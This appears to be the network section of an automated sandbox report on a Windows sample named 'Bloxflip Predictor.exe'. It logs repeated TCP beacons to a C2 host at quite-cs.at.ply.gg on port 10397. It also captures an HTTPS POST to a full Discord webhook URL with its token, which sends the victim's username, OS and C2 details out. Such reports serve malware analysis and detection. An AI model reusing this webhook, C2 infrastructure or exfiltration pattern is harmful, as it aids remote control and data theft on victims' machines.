Dec 13, 2024 12:35:11.402465105 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.522633076 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:11.522777081 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.642930984 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:11.643068075 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.763099909 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:11.763207912 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:11.883115053 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:11.883251905 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.003726959 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.005335093 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.125260115 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.125411987 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.245320082 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.246608973 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.366498947 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.366741896 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.486648083 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.486799955 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.606725931 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.607300997 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.727283955 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.731882095 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.851963997 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.852480888 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:12.972384930 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:12.976658106 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.096470118 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.096565008 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.216393948 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.218482971 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.338542938 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.340572119 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.460592985 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.465410948 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.585361958 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.586921930 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.708753109 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.709053040 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.829755068 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.829879045 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:13.950695992 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:13.951069117 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:14.072501898 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:14.072674990 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:14.192805052 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:14.193073988 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:14.314177990 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:14.314299107 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:14.434557915 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:14.435029984 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:14.556174040 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:14.556343079 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:14.679461956 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:14.680890083 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:14.800931931 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:14.804302931 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:15.149066925 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:15.150270939 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:15.313426018 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:15.318253994 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:15.521465063 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:15.522281885 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:15.769582033 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:15.769690037 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:16.017704010 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:16.017901897 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:16.265571117 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:16.265820026 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:16.517515898 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:16.517663002 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:16.765506029 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:16.766366005 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:17.013506889 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:17.014616013 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:17.261363983 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:17.262516975 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:17.509532928 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:17.510561943 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:17.757484913 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:17.760236979 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:18.005477905 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:18.005670071 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:18.253501892 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:18.255250931 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:18.501509905 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:18.501789093 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:18.749485016 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:18.749830008 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:18.997443914 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:18.999324083 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:19.245527029 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:19.248321056 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:19.493432045 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:19.494401932 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:19.745492935 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:19.746395111 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:19.997664928 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:19.998652935 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:20.373963118 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:20.489926100 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:20.490376949 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:20.494048119 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:20.610263109 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:20.610284090 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:20.611332893 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:20.731307983 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:20.732337952 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:20.852142096 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:20.852421999 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:20.972678900 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:20.973373890 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.093156099 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.093295097 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.214667082 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.214724064 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.334808111 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.335000038 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.455499887 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.455653906 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.575894117 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.576225996 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.696105957 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.696331978 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.816241026 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.816351891 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:21.936503887 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:21.936649084 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:22.056852102 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:22.056998968 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:22.218343973 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:22.219347954 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:22.421463966 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:22.421684980 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:22.671458006 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:22.672226906 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:22.917610884 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:22.918879032 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:23.165589094 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:23.165674925 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:23.413547993 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:23.413726091 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:23.661498070 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:23.661719084 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:23.909482002 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:23.909616947 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:24.157480955 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:24.157726049 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:24.405630112 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:24.405913115 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:24.653482914 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:24.656574011 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:24.901706934 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:24.904347897 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:25.150242090 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:25.150455952 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:25.397519112 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:25.397630930 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:25.645637035 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:25.648411036 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:25.893454075 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:25.893584013 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:26.141632080 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:26.141990900 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:26.390249968 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:26.390620947 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:26.637518883 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:26.637721062 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:26.889467955 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:26.891381979 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:27.137538910 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:27.137727976 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:27.386390924 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:27.387702942 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:27.633743048 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:27.635389090 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:27.885756969 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:27.886051893 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:28.134301901 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:28.134509087 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:28.381511927 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:28.381778955 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:28.629956007 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:28.630153894 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:28.877429008 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:28.879367113 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:29.125643969 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:29.125757933 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:29.373498917 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:29.373673916 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:29.622287989 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:29.622400999 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:29.869544983 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:29.872325897 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:30.117626905 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:30.117798090 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:30.365459919 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:30.368768930 CET	49984	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:30.474096060 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:30.488848925 CET	10397	49984	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:32.507538080 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:32.627440929 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:32.628415108 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:32.630743027 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:32.750596046 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:32.752470016 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:32.872895002 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:32.873009920 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:32.993105888 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:32.993184090 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:33.113333941 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:33.116336107 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:33.236309052 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:33.240505934 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:33.360575914 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:33.364372015 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:33.484369993 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:33.486701965 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:33.606566906 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:33.608285904 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:33.728178978 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:33.728288889 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:33.848046064 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.081837893 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:34.201643944 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.204293013 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:34.324219942 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.324340105 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:34.444849968 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.448355913 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:34.568608046 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.572340012 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:34.692235947 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.692341089 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:34.812493086 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.812607050 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:34.932632923 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:34.932789087 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.053524971 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.053723097 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.174052954 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.174272060 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.294109106 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.294226885 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.414577961 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.414666891 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.534984112 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.535090923 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.655306101 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.655431032 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.776554108 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.776645899 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:35.897273064 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:35.900429010 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:36.020889044 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:36.021096945 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:36.141395092 CET	10397	49985	147.185.221.224	192.168.2.5
Dec 13, 2024 12:35:36.141484976 CET	49985	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:35:36.261579990 CET	10397	49985	147.185.221.224	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 12:31:51.341891050 CET	56982	53	192.168.2.5	1.1.1.1
Dec 13, 2024 12:31:51.480787039 CET	53	56982	1.1.1.1	192.168.2.5
Dec 13, 2024 12:31:55.745636940 CET	65104	53	192.168.2.5	1.1.1.1
Dec 13, 2024 12:31:56.001827955 CET	53	65104	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 12:31:51.341891050 CET	192.168.2.5	1.1.1.1	0x775f	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Dec 13, 2024 12:31:55.745636940 CET	192.168.2.5	1.1.1.1	0x8032	Standard query (0)	quite-cs.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 12:31:51.480787039 CET	1.1.1.1	192.168.2.5	0x775f	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Dec 13, 2024 12:31:51.480787039 CET	1.1.1.1	192.168.2.5	0x775f	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Dec 13, 2024 12:31:51.480787039 CET	1.1.1.1	192.168.2.5	0x775f	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Dec 13, 2024 12:31:51.480787039 CET	1.1.1.1	192.168.2.5	0x775f	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Dec 13, 2024 12:31:51.480787039 CET	1.1.1.1	192.168.2.5	0x775f	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Dec 13, 2024 12:31:56.001827955 CET	1.1.1.1	192.168.2.5	0x8032	No error (0)	quite-cs.at.ply.gg	147.185.221.224	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49714	162.159.137.232	443	428	C:\Windows\Bloxflip Predictor.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 11:31:52 UTC	255	OUT	POST /api/webhooks/1040048109578895410/ewZ0edyfPb3PSo10z3bgM05aZex7uX3D_NzU6Fq1aA_P8lZYDHIuWHv2Qzzn-JTgsdIp HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: discord.com Content-Length: 247 Expect: 100-continue Connection: Keep-Alive
2024-12-13 11:31:53 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-13 11:31:53 UTC	1	OUT	Data Raw: 63 Data Ascii: c
2024-12-13 11:31:53 UTC	246	OUT	Data Raw: 6f 6e 74 65 6e 74 3d 59 6f 75 2b 68 61 76 65 2b 61 2b 72 75 6e 6e 69 6e 67 2b 63 6f 6d 70 75 74 65 72 2e 2e 2e 25 30 64 25 30 61 69 6e 66 6f 72 6d 61 74 69 6f 6e 2b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 25 30 64 25 30 61 25 35 62 25 32 62 25 35 64 2b 4e 61 6d 65 2b 2b 2b 25 33 61 2b 61 6c 66 6f 6e 73 25 30 64 25 30 61 25 35 62 25 32 62 25 35 64 2b 53 79 73 74 65 6d 2b 25 33 61 2b 4d 69 63 72 6f 73 6f 66 74 2b 57 69 6e 64 6f 77 73 2b 31 30 2b 50 72 6f 25 30 64 25 30 61 25 35 62 25 32 62 25 35 64 2b 48 6f 73 74 2b 2b 2b 25 33 61 2b 71 75 69 74 65 2d 63 73 2e 61 74 2e 70 6c 79 2e 67 67 25 30 64 25 30 61 25 35 62 25 32 62 25 35 64 2b 50 6f 72 74 2b 2b 2b 25 33 61 2b 31 30 33 39 37 Data Ascii: ontent=You+have+a+running+computer...%0d%0ainformation+------------------------------%0d%0a%5b%2b%5d+Name+++%3a+user%0d%0a%5b%2b%5d+System+%3a+Microsoft+Windows+10+Pro%0d%0a%5b%2b%5d+Host+++%3a+quite-cs.at.ply.gg%0d%0a%5b%2b%5d+Port+++%3a+10397
2024-12-13 11:31:53 UTC	1302	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 11:31:53 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1734089514 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n9wbsGCU7WkE%2FAtznTqtdQcBmchAp1Y%2Ftal2agipQu6gJShuOgAt6wF1BFedC2mkbQka87vBjO1C3QQhfV%2Bt1BsgOmy2xAsUYAOt%2BfBksRAohlWjfA40K6ZBFZmr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=d3f28fe7b7367f135ebf22d2ac86ded1e15eb002-1734089513; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=pnFd6BJ.ITU12cb7tlltd2RqJsrP8UVkk0QdnIVrVG4-1734089513550-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f15a160bce84387-EWR {"message": "Unknown Webhook", "code": 10015}

Target ID:	1
Start time:	06:31:29
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\Bloxflip Predictor.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Bloxflip Predictor.exe"
Imagebase:	0x510000
File size:	28'160 bytes
MD5 hash:	7BF897CA59B77AD3069C07149C35F97E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
